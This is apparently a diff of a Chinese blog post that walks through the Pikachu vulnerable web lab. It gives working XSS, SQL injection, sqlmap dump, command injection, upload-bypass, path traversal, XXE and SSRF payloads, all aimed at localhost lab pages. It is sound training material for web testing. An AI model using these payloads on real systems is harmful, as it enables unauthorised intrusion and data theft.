@ -6,13 +6,14 @@ categories: Pikachu
thumbnail: "https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg"
thumbnail: "https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg"
---
---
## Pikachu练习记录
## Pikachu练习记录
## 0x01 Pikachu靶场
## 0x01 Pikachu靶场
Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习, 那么Pikachu可能正合你意。
Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习, 那么Pikachu可能正合你意。
靶场链接:[Pikachu ](https://github.com/zhuifengshaonianhanlu/pikachu )
靶场链接:[Pikachu ](https://github.com/zhuifengshaonianhanlu/pikachu )
## 0x02 暴力破解
## 0x02 暴力破解
@ -61,24 +62,22 @@ Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web


```
```Plaintext
输入框直接上脚本
输入框直接上脚本
raw
<script>alert('hello')</script>
<!-- <script>alert('hello')</script> -->
endraw
```
```
### 反射型xss( post)
### 反射型xss( post)
```
```Plaintext
登陆进去后输入框内输入以下内容
登陆进去后输入框内输入以下内容
<!-- <script>alert(document.cookie)</script> -->
<script>alert(document.cookie)</script>
```
```
### 存储型xss
### 存储型xss
```
```Plaintext
<!-- < script>alert(document.cookie)</script> -->
<script>alert(document.cookie)</script>
```
```
### DOM型xss
### DOM型xss
@ -89,7 +88,7 @@ Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web
输入下方文本
输入下方文本
```
```Plaintext
#' onclick=alert('hello')>
#' onclick=alert('hello')>
```
```
@ -97,7 +96,7 @@ Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web
### DOM型xss-x
### DOM型xss-x
```
```Plaintext
' onclick=alert('hello')>
' onclick=alert('hello')>
```
```
@ -107,9 +106,9 @@ Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web
### xss之盲打
### xss之盲打
```
```Plaintext
留言板输入:
留言板输入:
<!-- <script>alert(document.cookie)</script> -->
<script>alert(document.cookie)</script>
```
```


@ -120,13 +119,13 @@ Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web
大小写绕过
大小写绕过
```
```Plaintext
<!-- < ScRipt>alert(1)</ScriPt> -->
<ScRipt>alert(1)</ScriPt>
```
```
### xss之htmlspecialchars
### xss之htmlspecialchars
```
```Plaintext
' onclick='alert(1)'
' onclick='alert(1)'
' onclick='javascript:alert(document.cookie)'
' onclick='javascript:alert(document.cookie)'
@ -136,7 +135,7 @@ Pikachu是一个带有漏洞的Web应用系统, 在这里包含了常见的web
js伪协议绕过
js伪协议绕过
```
```Plaintext
javascript:alert(1)
javascript:alert(1)
```
```
@ -146,10 +145,10 @@ javascript:alert(1)


可以先把前面的< script> 进行闭合, 构造以下payload即可
可以先把前面的\< script\> 进行闭合, 构造以下payload即可
```
```Plaintext
<!-- < /script><script>alert(1)</script> -->
</script><script>alert(1)</script>
```
```
## 0x04 CSRF
## 0x04 CSRF
@ -170,7 +169,7 @@ javascript:alert(1)


```
```Plaintext
id=1
id=1
#正常回显
#正常回显
@ -190,7 +189,7 @@ id=1 or 1=1
**2, 无脑sqlmap**
**2, 无脑sqlmap**
```
```Plaintext
sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump
sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump
```
```
@ -198,7 +197,7 @@ sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pika
### 字符型注入
### 字符型注入
```
```Plaintext
123
123
#正常
#正常
@ -230,7 +229,7 @@ sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pika
**sqlmap**
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump
```
```
@ -240,7 +239,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%
**sqlmap**
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump
```
```
@ -252,13 +251,13 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%
那就构造以下payload:
那就构造以下payload:
```
```Plaintext
123') or 1=1 #
123') or 1=1 #
```
```
**sqlmap**
**sqlmap**
```
```Plaintext
python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump
python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump
```
```
@ -268,7 +267,7 @@ python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A


```
```Plaintext
' and extractvalue(1,concat('~',(select database()))) and '1'='1
' and extractvalue(1,concat('~',(select database()))) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
@ -284,7 +283,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
可以用“+”代替空格
可以用“+”代替空格
```
```Plaintext
+and+updatexml(1,concat(0x7e,database(),0x7e),1)
+and+updatexml(1,concat(0x7e,database(),0x7e),1)
```
```
@ -300,7 +299,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
修改如下:
修改如下:
```
```Plaintext
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
或
或
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
@ -318,7 +317,7 @@ updatexml() 是mysql对xml文档数据进行查询的xpath函数
经测试是用 ** ‘ ** 进行闭合的
经测试是用 ** ‘ ** 进行闭合的
```
```Plaintext
kobe'
kobe'
# 未查到username信息
# 未查到username信息
@ -331,7 +330,7 @@ kobe'and length(database())=n#
burp抓包进行爆破数据库名字
burp抓包进行爆破数据库名字
```
```Plaintext
kobe' and substr(database(),1,1)='a'#
kobe' and substr(database(),1,1)='a'#
```
```
@ -347,7 +346,7 @@ kobe' and substr(database(),1,1)='a'#
**sqlmap**
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
```
```
@ -361,7 +360,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%
**sqlmap**
**sqlmap**
```
```Plaintext
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
```
```
@ -369,7 +368,7 @@ sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%
引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895 )
引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895 )
```
```Plaintext
宽字节注入原理:
宽字节注入原理:
GBK 占用两字节
GBK 占用两字节
@ -395,14 +394,14 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and passwo
### exec”ping”
### exec”ping”
```
```Plaintext
127.0.0.1&&dir
127.0.0.1&&dir
#执行完ping指令后同时执行dir指令
#执行完ping指令后同时执行dir指令
```
```
### exec”eval”
### exec”eval”
```
```Plaintext
直接输入 phpinfo();
直接输入 phpinfo();
```
```
@ -422,7 +421,7 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and passwo
### file inclusion(local)
### file inclusion(local)
```
```Plaintext
..\..\..\Users\sfd\Desktop\demo.txt
..\..\..\Users\sfd\Desktop\demo.txt
#直接访问电脑桌面的文件
#直接访问电脑桌面的文件
```
```
@ -465,7 +464,7 @@ select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and passwo
添加了对文件进行判断有没有图片特征的函数, 直接用cmd命令合成一个图片码即可绕过
添加了对文件进行判断有没有图片特征的函数, 直接用cmd命令合成一个图片码即可绕过
```
```Plaintext
copy /b a.png + a.php b.png
copy /b a.png + a.php b.png
```
```
@ -477,13 +476,13 @@ copy /b a.png + a.php b.png
首先以lucy的身份进行登录, 然后可以看到lucy的信息
首先以lucy的身份进行登录, 然后可以看到lucy的信息
```
```Plaintext
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
```
```
这时我们直接修改url里的username, 将其指定为kobe,就可以直接查看kobe的信息
这时我们直接修改url里的username, 将其指定为kobe,就可以直接查看kobe的信息
```
```Plaintext
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
```
```
@ -493,7 +492,7 @@ pikachu用户只有查看权限, 而admin用户有所有权限
首先登陆admin并添加用户, 然后可以获得一个url地址
首先登陆admin并添加用户, 然后可以获得一个url地址
```
```Plaintext
http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
```
```
@ -503,7 +502,7 @@ http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
### 目录遍历
### 目录遍历
```
```Plaintext
../../../../Users/sfd/Desktop/demo.txt
../../../../Users/sfd/Desktop/demo.txt
#访问桌面的一个demo.txt 文件
#访问桌面的一个demo.txt 文件
```
```
@ -524,7 +523,7 @@ php涉及到序列化的函数有两个, 分别是serialize()`和`unserialize()
序列化简单来说就是将一个**对象**转化成可以传输的**字符串**,反序列化就是相反的操作
序列化简单来说就是将一个**对象**转化成可以传输的**字符串**,反序列化就是相反的操作
```
```Plaintext
#举个例子
#举个例子
class S{
class S{
public $test="pikachu";
public $test="pikachu";
@ -549,14 +548,14 @@ class S{
反序列化
反序列化
```
```Plaintext
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的结果为pikachu
echo $u->test; //得到的结果为pikachu
```
```
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
```
```Plaintext
常见的几个魔法函数:
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__construct()当一个对象创建时被调用
@ -589,7 +588,7 @@ $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
前端将`$_POST['xml']` 传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string` 函数进行xml解析, 从而导致xxe漏洞
前端将`$_POST['xml']` 传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string` 函数进行xml解析, 从而导致xxe漏洞
```
```Plaintext
<!-- 打印hello world -->
<!-- 打印hello world -->
<?xml version="1.0" encoding="UTF-8" ?>
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note [
<!DOCTYPE note [
@ -612,7 +611,7 @@ $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
修改url=后面的参数
修改url=后面的参数
```
```Plaintext
http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com
http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com
```
```
@ -627,7 +626,7 @@ SSRF漏洞常用协议:
通过url参数直接访问内部资源, 或者跳转到其他服务器页面
通过url参数直接访问内部资源, 或者跳转到其他服务器页面
```
```Plaintext
HTTP(s):最常用到的一种协议, 可以用来验证是否存在SSRF漏洞, 探测端口以及服务。
HTTP(s):最常用到的一种协议, 可以用来验证是否存在SSRF漏洞, 探测端口以及服务。
file: 本地文件传输协议, 可以用来读取任意系统文件
file: 本地文件传输协议, 可以用来读取任意系统文件
dict:字典服务器协议, dict是基于查询相应的TCP协议, 服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
dict:字典服务器协议, dict是基于查询相应的TCP协议, 服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
@ -636,7 +635,7 @@ ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现
例:
例:
```
```Plaintext
//访问内网链接资源
//访问内网链接资源
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php
http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php
@ -653,14 +652,14 @@ dict://192.168.1.66:80
利用file_get_content(“path”)利用传递的参数, 通过file参数访问内部资源, 或者跳转到其他服务器页面
利用file_get_content(“path”)利用传递的参数, 通过file参数访问内部资源, 或者跳转到其他服务器页面
```
```Plaintext
//直接读取内部文件
//直接读取内部文件
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt
```
```
php伪协议读取文件
php伪协议读取文件
```
```Plaintext
php://filter/read=convert.base64-encode/resource=D:/a.txt
php://filter/read=convert.base64-encode/resource=D:/a.txt
```
```